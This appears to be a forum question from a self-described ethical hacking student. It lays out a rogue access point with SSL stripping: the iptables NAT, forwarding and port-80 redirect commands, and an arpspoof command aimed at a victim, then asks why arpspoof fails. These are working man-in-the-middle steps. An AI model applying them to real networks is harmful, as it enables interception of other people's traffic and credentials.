Arpspoofing - couldn't arp for spoof host

Good day.

I have setup a fake access point (AP), and would like to do ssl stripping on the fake access point.
I have these two commands that allow victims to have Internet access by forwarding traffic from eth0 to the interface, wlan0mon
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0mon -j ACCEPT

In order to do ssl stripping, I have the PREROUTING command.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

after this, I do the arpspoof. My gateway address is and my victim address is
My command is as below:
arpspoof -i wlan0mon -t -r

This is the screenshot of the inet for my eth0 and wlan0mon.

But I got the error of: ***arpspoof: couldn’t arp for spoof host

Any ideas on what is happening here? And am I doing correctly in order to do ssl stripping on fake AP?

p/s: I am new to ethical hacking and am currently the student of ethical hacking course.

Thanks in advance